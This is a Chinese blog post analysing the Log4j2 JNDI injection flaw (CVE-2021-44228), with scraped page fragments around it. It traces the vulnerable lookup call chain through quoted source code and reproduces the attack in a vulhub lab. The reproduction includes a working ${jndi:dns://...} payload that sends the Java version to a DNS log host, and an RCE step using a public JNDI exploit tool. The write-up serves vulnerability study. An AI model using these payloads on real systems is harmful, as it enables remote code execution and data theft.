- VisualStudio2022插件的安装及使用-编程手把手系列文章
- pprof-在现网场景怎么用
- C#实现的下拉多选框,下拉多选树,多级节点
- 【学习笔记】基础数据结构:猫树
前排提醒:本篇文章基于我另外一篇总结的JNDI注入后写的,建议先看该文章进行简单了解JNDI注入: https://blog.csdn.net/weixin_60521036/article/details/142322372 提前小结说明: Log4j2(CVE-2021-44228)漏洞造成是因为 通过MessagePatternConverter类进入他的format函数入口后需匹配判断是否存在${,若存在进入if后的workingBuilder.append(config.getStrSubstitutor().replace(event, value));,最终走到了lookup函数进行jndi注入。 那么我们待会分析就从MessagePatternConverter的format函数开始剖析源码.
参考了网上的文章后,总结发现其实只需要理解最关键和知道几个函数调用栈就能够理解log4j漏洞是怎么造成了.
1.首先是打点走到MessagePatternConverter的format函数,这里是事故发生地。 2.看黄色框,进入if,log4j2漏洞正式开始 3.注意看这里是匹配 $和 { 这里真就匹配这两个,不要觉得说不对称为啥不多匹配一个},就是找到你是否用了${}这种格式,用了的话就进到里面做深一步的操作。 (注:这里不会做递归,假如你 ${${}},递归那一步需要继续看我后面的解释) 4.看黄色框,workingBuilder.append(config.getStrSubstitutor().replace(event, value));,这里有两点很重要,getStrSubstitutor和replace。 先进行getStrSubstitutor,获取一个StrSubstitutor的对象,接着StrSubstitutor执行replace方法。 5.这里需要跟进replace方法,他会执行substitute方法。substitute函数很重要,需要继续跟进他。 6.进到substitute里面他主要做了以下操作 。
prefixMatcher.isMatch
来匹配${
suffixMatcher.isMatch
来匹配 }
如果说匹配到存在${xxx}这种数据在的话,就进入到递归继续substitute执行,直到不存在${xxx}这种数据为止。(这里就是为了解决${${}}这种嵌套问题),那么这里也就解决了上面说为啥一开始进入format函数那里,只匹配${而不匹配完整的${}的疑惑了,进入到这里面才会继续判断,而且还能帮你解决${${}}这种双重嵌套问题。 7.这个substitute递归完出来后或者说没有继续进到substitute里面的话,下一行代码就是:varNameExpr = bufName.toString(); 作用是取出${xxxxx}其中的xxxx数据。 注意是取出来你${xxx}里面xxx数据,这里还没进行jndi的注入解析,所以不是解析结果而是取出你注入的代码。 8.进if里就是 取varName与varDefaultValue ,检测:和-为了分割出来的jndi与rmi://xxxx。这里不是说真的开发者故意写个函数去为了分割我们的恶意代码,而是这个功能就是这样,恰好我们利用了他而已。这里的函数就不跟进了,了解他就是进行了分割即可,拿到varName与varDefaultValue。 注:再提醒一次,当我们传入的是jndi:rmi://xxxx的时候,这里的varName与varDefaultValue 取出就是jndi和后面的rmi://xxxx 9.代码再往下走到会看到String varValue = resolveVariable(event, varName, buf, startPos, endPos); ,这里我们需要跟进resolveVariable才能继续深入看到jndi的执行.
10.到了这里终于看到lookup字眼了。 首先你需要知道:resolver = getVariableResolver() 是获得一个实现StrLookup接口的对象,命名为resolver 其次看到后面return resolver.lookup(event, variableName); 这里就是返回结果,也就是说这里lookup是执行了结果返回了,为了更加有说服力,这里就继续跟进lookup看他是怎么执行的,毕竟这里的jndi注入和之前不同,多了jndi:,而不是传统的直接使用rmi://xxxx.
11.这里可以看到通过prefix取出:前的jndi,然后再取出后面的rmi://xxxx 那么也就说这个lookup函数体内部作用是通过:字符分割,然后通过传入jndi四个字符到strlookupmap.get来找到jndi访问地址然后截取到后面的rmi用找到的jndi访问地址来lookup,那么最后可以看到就是拿到jndi的lookup对象去lookup查询.
到这就分析结束了.
substitute函数体里部分代码如下所示: (没有第11步的lookup函数体源码,下面是关于substitute的代码) 。
while (pos < bufEnd) {
final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); // prefixMatcher用来匹配是否前两个字符是${
if (startMatchLen == 0) {
pos++;
} else {
// found variable start marker,如果来到这里的话那么就说明了匹配到了${字符
if (pos > offset && chars[pos - 1] == escape) {
// escaped
buf.deleteCharAt(pos - 1);
chars = getChars(buf);
lengthChange--;
altered = true;
bufEnd--;
} else {
// find suffix,寻找后缀}符号
final int startPos = pos;
pos += startMatchLen;
int endMatchLen = 0;
int nestedVarCount = 0;
while (pos < bufEnd) {
if (substitutionInVariablesEnabled
&& (endMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd)) != 0) {
// found a nested variable start
nestedVarCount++;
pos += endMatchLen;
continue;
}
endMatchLen = suffixMatcher.isMatch(chars, pos, offset, bufEnd);
if (endMatchLen == 0) {
pos++;
} else {
// found variable end marker
if (nestedVarCount == 0) {
String varNameExpr = new String(chars, startPos + startMatchLen, pos - startPos - startMatchLen);
if (substitutionInVariablesEnabled) {
final StringBuilder bufName = new StringBuilder(varNameExpr);
substitute(event, bufName, 0, bufName.length()); // 递归调用
varNameExpr = bufName.toString();
}
pos += endMatchLen;
final int endPos = pos;
String varName = varNameExpr;
String varDefaultValue = null;
if (valueDelimiterMatcher != null) {
final char [] varNameExprChars = varNameExpr.toCharArray();
int valueDelimiterMatchLen = 0;
for (int i = 0; i < varNameExprChars.length; i++) {
// if there's any nested variable when nested variable substitution disabled, then stop resolving name and default value.
if (!substitutionInVariablesEnabled
&& prefixMatcher.isMatch(varNameExprChars, i, i, varNameExprChars.length) != 0) {
break;
}
// 如果检测到其中还有:和-的符号,那么会将其进行分隔, :- 面的作为varName,后面的座位DefaultValue
if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0) {
varName = varNameExpr.substring(0, i);
varDefaultValue = varNameExpr.substring(i + valueDelimiterMatchLen);
break;
}
}
}
// on the first call initialize priorVariables
if (priorVariables == null) {
priorVariables = new ArrayList<>();
priorVariables.add(new String(chars, offset, length + lengthChange));
}
// handle cyclic substitution
checkCyclicSubstitution(varName, priorVariables);
priorVariables.add(varName);
// resolve the variable
//上面的一系列数据检测都完成了之后接下来就是解析执行这段数据了,这里是通过resolveVariable方法
String varValue = resolveVariable(event, varName, buf, startPos, endPos);
if (varValue == null) {
varValue = varDefaultValue;
}
if (varValue != null) {
// recursive replace
final int varLen = varValue.length();
buf.replace(startPos, endPos, varValue);
altered = true;
int change = substitute(event, buf, startPos, varLen, priorVariables);
change = change + (varLen - (endPos - startPos));
pos += change;
bufEnd += change;
lengthChange += change;
chars = getChars(buf); // in case buffer was altered
}
// remove variable from the cyclic stack
priorVariables.remove(priorVariables.size() - 1);
break;
}
nestedVarCount--;
pos += endMatchLen;
}
}
}
}
}
if (top) {
return altered ? 1 : 0;
}
return lengthChange;
}
约定:调用链每进一层函数就会加一个回车,我这里没有按照全限定名称来写,为了方便理解,加一个回车表示进入到函数的内部.
大白话总结:
下面是截图的原始数据 。
调用链
MessagePatternConverter的format函数
↓
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
↓
config.getStrSubstitutor()
↓
config.getStrSubstitutor().replace()
↓
substitute
↓
1.prefixMatcher.isMatch来匹配${
2.suffixMatcher.isMatch来匹配 }
↓
进行一个判断 当上面1 2两点都符合的话, 进入substitute递归调用
这里就是为了解决${${}}这种嵌套问题。
↓
递归完下一行代码就是:varNameExpr = bufName.toString(); 作用是取出${xxxxx}其中的xxxx数据
↓接着走到这段代码-> if ((valueDelimiterMatchLen = valueDelimiterMatcher.isMatch(varNameExprChars, i)) != 0)
进if里就是 取varName与varDefaultValue ,检测:和-为了分割出来的jndi与rmi://xxxx
(这里不是说这么巧为了分割我们的恶意代码,而是这个功能就是这样,恰好我们利用了他而已)
↓
代码再往下走到->String varValue = resolveVariable(event, varName, buf, startPos, endPos);
进入resolveVariable函数里
↓
resolver = getVariableResolver() 获得一个实现StrLookup接口的对象
后面就return resolver.lookup(event, variableName); 这里就是返回
↓
接着这里继续跟进resolver.lookup的调用的话,这个lookup函数体内部作用是通过:字符分隔
然后通过传入jndi四个字符到strlookupmap.get来找到jndi访问地址然后截取到后面的rmi用jndi访问地址来lookup
vulhub找到log4j开一个CVE-2021-44228靶场 。
${jndi:dns://${sys:java.version}.example.com}
是利用JNDI发送DNS请求的Payload,自己修改example.com为你自己的dnslog域名http://xxxxx:8983/solr/admin/cores?action=${jndi:dns://${sys:java.version}.xxxx.ceye.io}
接着查看我们的dnslog日志,发现确实存在log4j漏洞 。
那么现在开始进行rmi或者ldap攻击了 这里就直接使用利用工具: https://github.com/welk1n/JNDI-Injection-Exploit 开启恶意服务器: 设置好-C执行的命令 (-A 默认是第一张网卡地址,-A 你的服务器地址,我这里就默认了) 。
接着先查看下容器内不存在/tmp/success_hacker文件,因为我们-C写的是创建该文件 接着就可以进行rmi攻击了,复制上面搭建好的rmi服务:rmi://xxxxxxxxx:1099/dge0kr 再次查看就会发现已经创建成功了 PS:如果没有成功的话就多试几个rmi或者ldap服务地址,jdk8还是jdk7都试一下,以前我讲错了以为是1.7和1.8是本地开启工具使用的jdk版本,其实是目标服务器的jdk版本,所以还是那句话,都尝试一下就行,反正我们前面已经用dnslog拖出数据了,证明了是存在漏洞的.
参考文章: https://www.cnblogs.com/zpchcbd/p/16200105.html https://xz.aliyun.com/t/11056 。
最后此篇关于Log4j2—漏洞分析(CVE-2021-44228)的文章就讲到这里了,如果你想了解更多关于Log4j2—漏洞分析(CVE-2021-44228)的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
Couchdb-权限绕过--命令执行--(CVE-2017-12635)&&(CVE-2017-12636)--H2database命令执行--(CVE-2022-23221)
https://nvd.nist.gov/vuln/detail/CVE-2018-2783表示“适用于 Java 的客户端和服务器部署。可以通过沙盒 Java Web Start 应用程序和沙盒 J
如题所示 我找不到关于这个漏洞的详细解释 不胜感激 查看链接了解更多信息 https://cordova.apache.org/announcements/2016/04/27/security.ht
鉴于最近发现的允许在 7.0.0 到 7.0.79 版本中远程执行代码的 Tomcat 漏洞(CVE-2017-12615 和 CVE-2017-12616),对 WSO2 IS 用户有什么建议? W
Tomcat--文件上传--文件包含--(CVE-2017-12615)&&(CVE-2020-1938) 复现环境 采用Vulfocus靶场环境进行复现,搭建操作和文章
关于https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/中的“spring4shell”漏洞。有谁知道这个漏洞是否影响 JFrog
关于https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/中的“spring4shell”漏洞。有谁知道这个漏洞是否影响 JFrog
我想解决我项目中的每个 CVE 问题。我正在使用 org.owasp.dependencycheck 插件,但即使在一个空项目上它也返回几个 CVE: bcprov-jdk15on-1.56.jar:
1.漏洞介绍。 Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务,集群,Spring Framework 等。
1.背景介绍。 ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和
前言 Active Directory 域服务,是一种目录服务,提供了存储目录数据信息以及用户相关的一些密码,电话号码等等一些数据信息,且可让用户和管理员使用这些数据,有利于域管理员对用户
本文分享自华为云社区《CVE-2021-3129 分析》,作者:Xuuuu 。 CVE-2021-3129 Tag: php phar | php deserialize Env搭建 VulEnv/l
我对正则表达式的概念很陌生,所以我希望专家用户可以帮助我制作正确的表达式来查找字符串中的所有匹配项。我有一个字符串,其中包含许多漏洞数据的支持信息。在该字符串中是一系列格式为 CVE-2015-400
我正在 Azure Graph Explorer 中运行以下 KQL 查询 securityresources | where type == "microsoft.security/assessme
CVE 补丁 描述指出: Linux内核到4.6.3为止的security/keys/key.c中的key_reject_and_link函数并不能确保某个数据结构被初始化,这使得本地用户通过涉及精心
我想对一些服务器进行测试,看看它们是否容易受到 CVE 数据库 (cve.mitre.org) 中的一系列漏洞的攻击。我可以访问服务器,所以我可以知道所有已安装软件包的版本号。我是使用 CVE 数据库
前言 SQL注入的原理是对web请求,表单或域名等提交查询的字符串没有进行安全检测过滤,攻击者可以拼接执行恶意SQL命令,导致用户数据泄露 。 漏洞原理 Django 组件存在
目录 Log4j2漏洞原理 漏洞根因 调用链源码分析 调用链总结 漏洞复现 dn
本文分享自华为云社区《CVE-2022-22965 漏洞分析》,作者:Xuuuu。 CVE-2022-22965 A Spring MVC or Spring WebFlux application
[INFO] [INFO] --- dependency-check-maven:4.0.2:check (default) @ realtimePaymachine --- [INFO] Centr
我是一名优秀的程序员,十分优秀!